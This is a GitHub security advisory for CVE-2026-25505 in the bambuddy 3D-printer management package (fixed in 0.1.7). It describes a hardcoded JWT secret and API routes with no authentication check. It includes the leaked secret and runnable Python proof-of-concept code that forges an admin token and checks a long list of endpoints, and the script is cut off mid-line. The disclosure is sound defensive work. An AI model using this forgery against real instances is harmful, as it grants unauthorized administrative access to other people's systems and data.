GitHub Advisoryadvisory · PyPI
GHSA-gc24-px2r-5qmf Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication
CRITICAL
Official page ↗
- Aliases
- CVE-2026-25505
- Ecosystem
- PyPI
- Packages
- bambuddy
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-306, CWE-321
- Reviewed
- 2026-02-02
Affected packages
• PyPI bambuddy: < 0.1.7 → fixed in 0.1.7
Description
Summary
1. A hardcoded secret key used for signing JWTs is checked into source code
2. ManyAPI routes do not check authentication
Details
I am using the publicly available docker image at `ghcr.io/maziggy/bambuddy`
1. Hardcoded JWT Secret Key
https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28
Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key
Any attacker can:
1. Forge valid JWT tokens for any user
2. Bypass authentication entirely
3. Gain full administrative access to any Bambuddy instance using the default key
Steps to Reproduce:
1. Run an instance of BamBuddy
2. Create admin user
3. Forge and use JWT:
```python
import jwt
import requests
token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256")
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
```
2. Most API Routes do not check Auth
While investigating the JWT forgery, I noticed that requests without `Authorization` headers still returned information for many endpoints:
```python
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
```
Full Script and Output
Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.
Script to test GET endpoints with forged JWT and without any auth
```python3
!/usr/bin/env python3
"""
Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)
For security research purposes only.
Tests all GET endpoints to identify which are accessible without authentication.
"""
import requests
import jwt
Hardcoded secret from backend/app/core/auth.py:28
HARDCODED_SECRET = "bambuddy-secret-key-change-in-production"
TARGET = "http://10.0.0.4:8000"
API_PREFIX = "/api/v1"
All GET endpoints organized by router
ENDPOINTS = {
"system": [
"/system/info",
],
"auth": [
"/auth/status",
"/auth/me",
],
"users": [
"/users",
"/users/1",
"/users/1/items-count",
],
"groups": [
"/groups",
"/groups/permissions",
"/groups/1",
],
"settings": [
"/settings",
"/settings/check-ffmpeg",
"/settings/spoolman",
"/settings/backup",
"/settings/virtual-printer/models",
"/settings/virtual-printer",
"/settings/mqtt/status",
],
"printers": [
"/printers/",
"/printers/usb-cameras",
"/printers/1",
"/printers/1/status",
"/printers/1/current-print-user",
"/printers/1/cover",
"/printers/1/files",
"/printers/1/storage",
"/printers/1/logging",
"/printers/1/slot-presets",
"/printers/1/slot-presets/1/1",
"/printers/1/print/objects",
"/printers/1/runtime-debug",
"/printers/1/camera/status",
"/printers/1/camera/test",
"/printers/1/camera/plate-detection/status",
"/printers/1/camera/plate-detection/references",
"/printers/1/kprofiles/",
"/printers/1/kprofiles/notes",
],
"archives": [
"/archives/",
"/archives/search",
"/archives/compare",
"/archives/analysis/failures",
"/archives/stats",
"/archives/tags",
"/archives/1",
"/archives/1/similar",
"/archives/1/duplicates",
"/archives/1/capabilities",
"/archives/1/gcode",
"/archives/1/plates",
"/archives/1/filament-requirements",
"/archives/1/project-page",
"/archives/1/source",
],
"filaments": [
"/filaments/",
"/filaments/1",
"/filaments/by-type/pla",
],
"cloud": [
"/cloud/status",
"/cloud/settings",
"/cloud/settings/1",
"/cloud/devices",
"/cloud/firmware-updates",
"/cloud/fields",
"/cloud/fields/print",
],
"queue": [
"/queue/",
"/queue/1",
],
"notifications": [
"/notifications/",
"/notifications/logs",
"/notifications/logs/stats",
"/notifications/1",
],
"notification_templates": [
"/notification-templates",
"/notification-templates/variables",
"/notification-templates/1",
],
"updates": [
"/updates/version",
"/updates/check",
"/updates/status",
],
"maintenance": [
"/maintenance/types",
"/maintenance/overview",
"/maintenance/summary",
"/maintenance/printers/1",
"/maintenance/items/1/history",
],
"external_links": [
"/external-links/",
"/external-links/1",
],
"projects": [
"/projects",
"/projects/templates",
"/projects/1",
"/projects/1/archives",
"/projects/1/queue",
"/projects/1/bom",
"/projects/1/timeline",
],
"library": [
"/library/folders",
"/library/folders/by-archive/1",
"/library/folders/by-project/1",
"/library/files",
"/library/stats",
"/library/folders/1",
"/library/files/1",
"/library/files/1/plates",
"/library/files/1/gcode",
"/library/files/1/filament-requirements",
],
"api_keys": [
"/api-keys/",
"/api-keys/1",
],
"webhook": [
"/webhook/printer/1/status",
"/webhook/queue",
],
"ams_history": [
"/ams-history/1/1",
],
"support": [
"/support/debug-logging",
"/support/logs",
],
"discovery": [
"/discovery/info",
"/discovery/status",
"/discovery/printers",
"/discovery/scan/status",
],
"pending_uploads": [
"/pending-uploads/",
"/pending-uploads/count",
"/pending-uploads/1",
],
"firmware": [
"/firmware/updates",
"/firmware/updates/1",
"/firmware/latest",
],
"github_backup": [
"/github-backup/config",
"/github-backup/status",
"/github-backup/logs",
],
"metrics": [
"/metrics",
],
}
def forge_token():
"""Forge a valid JWT token using the hardcoded secret."""
payload = {"sub": "admin", "exp": 9999999999}
return jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256")
def test_endpoint(endpoint, headers):
"""Test a single endpoint and return status."""
try:
resp = requests.get(f"{TARGET}{API_PREFIX}{endpoint}", headers=headers, timeout=5)
return resp.status_code, resp.text[:100] if resp.status_code == 200 else None
except requests.RequestException as e:
return "ERROR", str(e)[:50]
def main():
token = forge_token()
print(f"[*] Forged JWT token:\n {token}\n")
# Test with no auth, then with forged JWT
test_modes = [
("NO AUTH", {}),
("FORGED JWT", {"Authorization": f"Bearer {token}"}),
]
results = {"no_auth": [], "jwt_only": [], "both_fail": []}
print(f"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\n")
print("=" * 70)
for category, endpoints in ENDPOINTS.items():
print(f"\n[{category.upper()}]")
for endpoint in endpoints:
no_auth_status, _ = test_endpoint(endpoint, {})
jwt_status, preview =…
Related
Alias · CVE (1)
- CVE-2026-25505 Bambuddy is a self-hosted print archive and management system for Bambu Lab 3D printers. vulnerability
References
- https://github.com/maziggy/bambuddy/security/advisories/GHSA-gc24-px2r-5qmf web
- https://nvd.nist.gov/vuln/detail/CVE-2026-25505 advisory
- https://github.com/maziggy/bambuddy/pull/225 web
- https://github.com/maziggy/bambuddy/commit/a82f9278d2d587b7042a0858aab79fd8b6e3add9 web
- https://github.com/maziggy/bambuddy/commit/c31f2968889c855f1ffacb700c2c9970deb2a6fb web
- https://github.com/maziggy/bambuddy package
- https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28 web
- https://github.com/maziggy/bambuddy/blob/main/CHANGELOG.md web
- https://github.com/maziggy/bambuddy/releases/tag/v0.1.7 web